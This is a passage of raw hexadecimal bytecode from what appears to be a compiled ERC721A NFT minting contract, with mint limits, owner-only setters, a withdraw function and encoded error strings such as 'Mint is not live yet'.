6040516106759190613fd4565b60405180910390f35b34801561068a57600080fd5b50610693611841565b6040516106a09190614356565b60405180910390f35b6106c360048036038101906106be9190613a1a565b611847565b005b3480156106d157600080fd5b506106ec60048036038101906106e791906139d1565b611ec0565b005b3480156106fa57600080fd5b50610715600480360381019061071091906138f7565b611fb5565b005b34801561072357600080fd5b5061072c612136565b6040516107399190614356565b60405180910390f35b34801561074e57600080fd5b5061076960048036038101906107649190613874565b612140565b005b34801561077757600080fd5b5061078061219c565b60405161078d9190614356565b60405180910390f35b3480156107a257600080fd5b506107bd60048036038101906107b89190613a1a565b6121a2565b6040516107ca9190613fd4565b60405180910390f35b3480156107df57600080fd5b506107e8612249565b6040516107f59190613fb9565b60405180910390f35b34801561080a57600080fd5b5061081361225c565b6040516108209190614356565b60405180910390f35b34801561083557600080fd5b5061083e612262565b60405161084b9190614356565b60405180910390f35b34801561086057600080fd5b5061087b60048036038101906108769190613a1a565b612268565b005b34801561088957600080fd5b506108a4600480360381019061089f91906137e1565b61234d565b6040516108b19190613fb9565b60405180910390f35b3480156108c657600080fd5b506108e160048036038101906108dc91906137b4565b6123e1565b005b3480156108ef57600080fd5b5061090a600480360381019061090591906137b4565b612538565b6040516109179190614356565b60405180910390f35b34801561092c57600080fd5b50610935612550565b6040516109429190614356565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610a1657507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610a7e57507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610a8e5750610a8d82612579565b5b9050919050565b606060018054610aa490614611565b80601f0160208091040260200160405190810160405280929190818152602001828054610ad090614611565b8015610b1d5780601f10610af257610100808354040283529160200191610b1d565b820191906000526020600020905b815481529060010190602001808311610b0057829003601f168201915b5050505050905090565b6000610b32826125e3565b610b71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6890614336565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610bb78261122c565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1f90614216565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610c476125f0565b73ffffffffffffffffffffffffffffffffffffffff161480610c765750610c7581610c706125f0565b61234d565b5b610cb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cac906140f6565b60405180910390fd5b610cc08383836125f8565b505050565b60146020528060005260406000206000915090505481565b60008054905090565b610cf18383836126aa565b505050565b6000610d01836112da565b8210610d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3990613ff6565b60405180910390fd5b6000610d4c610cdd565b905060008060005b83811015610ea6576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614610e4657806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e985786841415610e8f578195505050505050610ee2565b83806001019450505b508080600101915050610d54565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed9906142d6565b60405180910390fd5b92915050565b600f5481565b610ef66125f0565b73ffffffffffffffffffffffffffffffffffffffff16610f14611599565b73ffffffffffffffffffffffffffffffffffffffff161480610f8a5750610f396125f0565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc090614176565b60405180910390fd5b6002600954141561100f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611006906142f6565b60405180910390fd5b600260098190555060003373ffffffffffffffffffffffffffffffffffffffff164760405161103d90613f3d565b60006040518083038185875af1925050503d806000811461107a576040519150601f19603f3d011682016040523d82523d6000602084013e61107f565b606091505b50509050806110c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ba90614236565b60405180910390fd5b506001600981905550565b6110e983838360405180602001604052806000815250612140565b505050565b600e5481565b60006110fe610cdd565b821061113f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611136906140b6565b60405180910390fd5b819050919050565b61114f6125f0565b73ffffffffffffffffffffffffffffffffffffffff1661116d611599565b73ffffffffffffffffffffffffffffffffffffffff1614806111e357506111926125f0565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611222576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121990614176565b60405180910390fd5b80600f8190555050565b600061123782612bea565b600001519050919050565b6000600b54905090565b600a805461125990614611565b80601f016020809104026020016040519081016040528092919081815260200182805461128590614611565b80156112d25780601f106112a7576101008083540402835291602001916112d2565b820191906000526020600020905b8154815290600101906020018083116112b557829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134290614116565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b6113cb6125f0565b73ffffffffffffffffffffffffffffffffffffffff166113e9611599565b73ffffffffffffffffffffffffffffffffffffffff16148061145f575061140e6125f0565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61149e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149590614176565b60405180910390fd5b6114a86000612d84565b565b6114b26125f0565b73ffffffffffffffffffffffffffffffffffffffff166114d0611599565b73ffffffffffffffffffffffffffffffffffffffff16148061154657506114f56125f0565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611585576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157c90614176565b60405180910390fd5b6115966115906125f0565b82612e4a565b50565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6115cb6125f0565b73ffffffffffffffffffffffffffffffffffffffff166115e9611599565b73ffffffffffffffffffffffffffffffffffffffff16148061165f575061160e6125f0565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61169e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169590614176565b60405180910390fd5b80600b8190555050565b6116b06125f0565b73ffffffffffffffffffffffffffffffffffffffff166116ce611599565b73ffffffffffffffffffffffffffffffffffffffff16148061174457506116f36125f0565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611783576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177a90614176565b60405180910390fd5b601160009054906101000a900460ff1615601160006101000a81548160ff021916908315150217905550565b6060600280546117be90614611565b80601f01602080910402602001604051908101604052809291908181526020018280546117ea90614611565b80156118375780601f1061180c57610100808354040283529160200191611837565b820191906000526020600020905b81548152906001019060200180831161181a57829003601f168201915b5050505050905090565b600b5481565b6000600b54905060006001600f5461185f9190614446565b8360125461186d9190614446565b1080156118ba5750600d54601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b90508015611c2457601160009054906101000a900460ff16611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890614016565b60405180910390fd5b6010548361191d610cdd565b6119279190614446565b1115611968576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195f90614036565b60405180910390fd5b600c548311156119ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a4906142b6565b60405180910390fd5b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d546119fa9190614527565b8310611b165781601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611a4e9190614527565b611a5891906144cd565b8284611a6491906144cd565b611a6e9190614527565b341015611ab0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa790614136565b60405180910390fd5b600d54601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d5460126000828254611b0a9190614446565b92505081905550611c1f565b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611b639190614527565b831015611c1e576000341015611bae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba590614136565b60405180910390fd5b82601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bfd9190614446565b925050819055508260126000828254611c169190614446565b925050819055505b5b611e5b565b601160009054906101000a900460ff16611c73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6a90614016565b60405180910390fd5b600e5483601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc19190614446565b1115611d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf9906141f6565b60405180910390fd5b8183611d0e91906144cd565b341015611d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4790614136565b60405180910390fd5b60105483611d5c610cdd565b611d669190614446565b1115611da7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9e90614036565b60405180910390fd5b600c54831115611dec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de3906142b6565b60405180910390fd5b3273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5190614076565b60405180910390fd5b5b82601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611eaa9190614446565b92505081905550611ebb3384612e4a565b505050565b611ec86125f0565b73ffffffffffffffffffffffffffffffffffffffff16611ee6611599565b73ffffffffffffffffffffffffffffffffffffffff161480611f5c5750611f0b6125f0565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611f9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9290614176565b60405180910390fd5b80600a9080519060200190611fb192919061358e565b5050565b611fbd6125f0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561202b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612022906141b6565b60405180910390fd5b80600660006120386125f0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166120e56125f0565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161212a9190613fb9565b60405180910390a35050565b6000600d54905090565b61214b8484846126aa565b61215784848484612e68565b612196576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218d90614256565b60405180910390fd5b50505050565b600d5481565b60606121ad826125e3565b6121ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e390614196565b60405180910390fd5b60006121f6612fff565b905060008151116122165760405180602001604052806000815250612241565b8061222084613091565b604051602001612231929190613f0e565b6040516020818303038152906040525b915050919050565b601160009054906101000a900460ff1681565b60105481565b60125481565b6122706125f0565b73ffffffffffffffffffffffffffffffffffffffff1661228e611599565b73ffffffffffffffffffffffffffffffffffffffff16148061230457506122b36125f0565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b612343576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233a90614176565b60405180910390fd5b80600d8190555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6123e96125f0565b73ffffffffffffffffffffffffffffffffffffffff16612407611599565b73ffffffffffffffffffffffffffffffffffffffff16148061247d575061242c6125f0565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6124bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b390614176565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561252c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252390614056565b60405180910390fd5b61253581612d84565b50565b60136020528060005260406000206000915090505481565b600c5481565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6000805482109050919050565b600033905090565b826005600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b60006126b582612bea565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff166126dc6125f0565b73ffffffffffffffffffffffffffffffffffffffff16148061273857506127016125f0565b73ffffffffffffffffffffffffffffffffffffffff1661272084610b27565b73ffffffffffffffffffffffffffffffffffffffff16145b806127545750612753826000015161274e6125f0565b61234d565b5b905080612796576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278d906141d6565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff1614612808576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ff90614156565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612878576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286f906140d6565b60405180910390fd5b61288585858560016131f2565b61289560008484600001516125f8565b6001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160392506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506001600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550836003600085815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003600085815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506000600184019050600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612b7a57612ad9816125e3565b15612b795782600001516003600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082602001516003600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b50828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612be385858560016131f8565b5050505050565b612bf2613614565b612bfb826125e3565b612c3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c3190614096565b60405180910390fd5b60008290505b60008110612d43576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614612d34578092505050612d7f565b50808060019003915050612c40565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d7690614316565b60405180910390fd5b919050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b612e648282604051806020016040528060008152506131fe565b5050565b6000612e898473ffffffffffffffffffffffffffffffffffffffff16612556565b15612ff2578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612eb26125f0565b8786866040518563ffffffff1660e01b8152600401612ed49493929190613f6d565b602060405180830381600087803b158015612eee57600080fd5b505af1925050508015612f1f57506040513d601f19601f82011682018060405250810190612f1c91906139a4565b60015b612fa2573d8060008114612f4f576040519150601f19603f3d011682016040523d82523d6000602084013e612f54565b606091505b50600081511415612f9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f9190614256565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612ff7565b600190505b949350505050565b6060600a805461300e90614611565b80601f016020809104026020016040519081016040528092919081815260200182805461303a90614611565b80156130875780601f1061305c57610100808354040283529160200191613087565b820191906000526020600020905b81548152906001019060200180831161306a57829003601f168201915b5050505050905090565b606060008214156130d9576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506131ed565b600082905060005b6000821461310b5780806130f490614674565b915050600a82613104919061449c565b91506130e1565b60008167ffffffffffffffff811115613127576131266147aa565b5b6040519080825280601f01601f1916602001820160405280156131595781602001600182028036833780820191505090505b5090505b600085146131e6576001826131729190614527565b9150600a8561318191906146bd565b603061318d9190614446565b60f81b8183815181106131a3576131a261477b565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856131df919061449c565b945061315d565b8093505050505b919050565b50505050565b50505050565b61320b8383836001613210565b505050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415613286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161327d90614276565b60405180910390fd5b60008414156132ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132c190614296565b60405180910390fd5b6132d760008683876131f2565b83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555083600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160108282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550846003600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550600081905060005b8581101561357157818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4831561355c5761351c6000888488612e68565b61355b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161355290614256565b60405180910390fd5b5b818060010192505080806001019150506134a5565b50806000819055505061358760008683876131f8565b5050505050565b82805461359a90614611565b90600052602060002090601f0160209004810192826135bc5760008555613603565b82601f106135d557805160ff1916838001178555613603565b82800160010185558215613603579182015b828111156136025782518255916020019190600101906135e7565b5b509050613610919061364e565b5090565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681525090565b5b8082111561366757600081600090555060010161364f565b5090565b600061367e61367984614396565b614371565b90508281526020810184848401111561369a576136996147de565b5b6136a58482856145cf565b509392505050565b60006136c06136bb846143c7565b614371565b9050828152602081018484840111156136dc576136db6147de565b5b6136e78482856145cf565b509392505050565b6000813590506136fe81614f03565b92915050565b60008135905061371381614f1a565b92915050565b60008135905061372881614f31565b92915050565b60008151905061373d81614f31565b92915050565b600082601f830112613758576137576147d9565b5b813561376884826020860161366b565b91505092915050565b600082601f830112613786576137856147d9565b5b81356137968482602086016136ad565b91505092915050565b6000813590506137ae81614f48565b92915050565b6000602082840312156137ca576137c96147e8565b5b60006137d8848285016136ef565b91505092915050565b600080604083850312156137f8576137f76147e8565b5b6000613806858286016136ef565b9250506020613817858286016136ef565b9150509250929050565b60008060006060848603121561383a576138396147e8565b5b6000613848868287016136ef565b9350506020613859868287016136ef565b925050604061386a8682870161379f565b9150509250925092565b6000806000806080858703121561388e5761388d6147e8565b5b600061389c878288016136ef565b94505060206138ad878288016136ef565b93505060406138be8782880161379f565b925050606085013567ffffffffffffffff8111156138df576138de6147e3565b5b6138eb87828801613743565b91505092959194509250565b6000806040838503121561390e5761390d6147e8565b5b600061391c858286016136ef565b925050602061392d85828601613704565b9150509250929050565b6000806040838503121561394e5761394d6147e8565b5b600061395c858286016136ef565b925050602061396d8582860161379f565b9150509250929050565b60006020828403121561398d5761398c6147e8565b5b600061399b84828501613719565b91505092915050565b6000602082840312156139ba576139b96147e8565b5b60006139c88482850161372e565b91505092915050565b6000602082840312156139e7576139e66147e8565b5b600082013567ffffffffffffffff811115613a0557613a046147e3565b5b613a1184828501613771565b91505092915050565b600060208284031215613a3057613a2f6147e8565b5b6000613a3e8482850161379f565b91505092915050565b613a508161455b565b82525050565b613a5f8161456d565b82525050565b6000613a70826143f8565b613a7a818561440e565b9350613a8a8185602086016145de565b613a93816147ed565b840191505092915050565b6000613aa982614403565b613ab3818561442a565b9350613ac38185602086016145de565b613acc816147ed565b840191505092915050565b6000613ae282614403565b613aec818561443b565b9350613afc8185602086016145de565b80840191505092915050565b6000613b1560228361442a565b9150613b20826147fe565b604082019050919050565b6000613b3860148361442a565b9150613b438261484d565b602082019050919050565b6000613b5b60078361442a565b9150613b6682614876565b602082019050919050565b6000613b7e60268361442a565b9150613b898261489f565b604082019050919050565b6000613ba1601e8361442a565b9150613bac826148ee565b602082019050919050565b6000613bc4602a8361442a565b9150613bcf82614917565b604082019050919050565b6000613be760238361442a565b9150613bf282614966565b604082019050919050565b6000613c0a60258361442a565b9150613c15826149b5565b604082019050919050565b6000613c2d60398361442a565b9150613c3882614a04565b604082019050919050565b6000613c50602b8361442a565b9150613c5b82614a53565b604082019050919050565b6000613c7360208361442a565b9150613c7e82614aa2565b602082019050919050565b6000613c9660268361442a565b9150613ca182614acb565b604082019050919050565b6000613cb960058361443b565b9150613cc482614b1a565b600582019050919050565b6000613cdc60208361442a565b9150613ce782614b43565b602082019050919050565b6000613cff602f8361442a565b9150613d0a82614b6c565b604082019050919050565b6000613d22601a8361442a565b9150613d2d82614bbb565b602082019050919050565b6000613d4560328361442a565b9150613d5082614be4565b604082019050919050565b6000613d68601e8361442a565b9150613d7382614c33565b602082019050919050565b6000613d8b60228361442a565b9150613d9682614c5c565b604082019050919050565b6000613dae60008361441f565b9150613db982614cab565b600082019050919050565b6000613dd160108361442a565b9150613ddc82614cae565b602082019050919050565b6000613df460338361442a565b9150613dff82614cd7565b604082019050919050565b6000613e1760218361442a565b9150613e2282614d26565b604082019050919050565b6000613e3a60288361442a565b9150613e4582614d75565b604082019050919050565b6000613e5d60138361442a565b9150613e6882614dc4565b602082019050919050565b6000613e80602e8361442a565b9150613e8b82614ded565b604082019050919050565b6000613ea3601f8361442a565b9150613eae82614e3c565b602082019050919050565b6000613ec6602f8361442a565b9150613ed182614e65565b604082019050919050565b6000613ee9602d8361442a565b9150613ef482614eb4565b604082019050919050565b613f08816145c5565b82525050565b6000613f1a8285613ad7565b9150613f268284613ad7565b9150613f3182613cac565b91508190509392505050565b6000613f4882613da1565b9150819050919050565b6000602082019050613f676000830184613a47565b92915050565b6000608082019050613f826000830187613a47565b613f8f6020830186613a47565b613f9c6040830185613eff565b8181036060830152613fae8184613a65565b905095945050505050565b6000602082019050613fce6000830184613a56565b92915050565b60006020820190508181036000830152613fee8184613a9e565b905092915050565b6000602082019050818103600083015261400f81613b08565b9050919050565b6000602082019050818103600083015261402f81613b2b565b9050919050565b6000602082019050818103600083015261404f81613b4e565b9050919050565b6000602082019050818103600083015261406f81613b71565b9050919050565b6000602082019050818103600083015261408f81613b94565b9050919050565b600060208201905081810360008301526140af81613bb7565b9050919050565b600060208201905081810360008301526140cf81613bda565b9050919050565b600060208201905081810360008301526140ef81613bfd565b9050919050565b6000602082019050818103600083015261410f81613c20565b9050919050565b6000602082019050818103600083015261412f81613c43565b9050919050565b6000602082019050818103600083015261414f81613c66565b9050919050565b6000602082019050818103600083015261416f81613c89565b9050919050565b6000602082019050818103600083015261418f81613ccf565b9050919050565b600060208201905081810360008301526141af81613cf2565b9050919050565b600060208201905081810360008301526141cf81613d15565b9050919050565b600060208201905081810360008301526141ef81613d38565b9050919050565b6000602082019050818103600083015261420f81613d5b565b9050919050565b6000602082019050818103600083015261422f81613d7e565b9050919050565b6000602082019050818103600083015261424f81613dc4565b9050919050565b6000602082019050818103600083015261426f81613de7565b9050919050565b6000602082019050818103600083015261428f81613e0a565b9050919050565b600060208201905081810360008301526142af81613e2d565b9050919050565b600060208201905081810360008301526142cf81613e50565b9050919050565b600060208201905081810360008301526142ef81613e73565b9050919050565b6000602082019050818103600083015261430f81613e96565b9050919050565b6000602082019050818103600083015261432f81613eb9565b9050919050565b6000602082019050818103600083015261434f81613edc565b9050919050565b600060208201905061436b6000830184613eff565b92915050565b600061437b61438c565b90506143878282614643565b919050565b6000604051905090565b600067ffffffffffffffff8211156143b1576143b06147aa565b5b6143ba826147ed565b9050602081019050919050565b600067ffffffffffffffff8211156143e2576143e16147aa565b5b6143eb826147ed565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b6000614451826145c5565b915061445c836145c5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614491576144906146ee565b5b828201905092915050565b60006144a7826145c5565b91506144b2836145c5565b9250826144c2576144c161471d565b5b828204905092915050565b60006144d8826145c5565b91506144e3836145c5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561451c5761451b6146ee565b5b828202905092915050565b6000614532826145c5565b915061453d836145c5565b9250828210156145505761454f6146ee565b5b828203905092915050565b6000614566826145a5565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b838110156145fc5780820151818401526020810190506145e1565b8381111561460b576000848401525b50505050565b6000600282049050600182168061462957607f821691505b6020821081141561463d5761463c61474c565b5b50919050565b61464c826147ed565b810181811067ffffffffffffffff8211171561466b5761466a6147aa565b5b80604052505050565b600061467f826145c5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156146b2576146b16146ee565b5b600182019050919050565b60006146c8826145c5565b91506146d3836145c5565b9250826146e3576146e261471d565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f455243373231413a206f776e657220696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d696e74206973206e6f74206c6976652079657400000000000000000000000060008201525056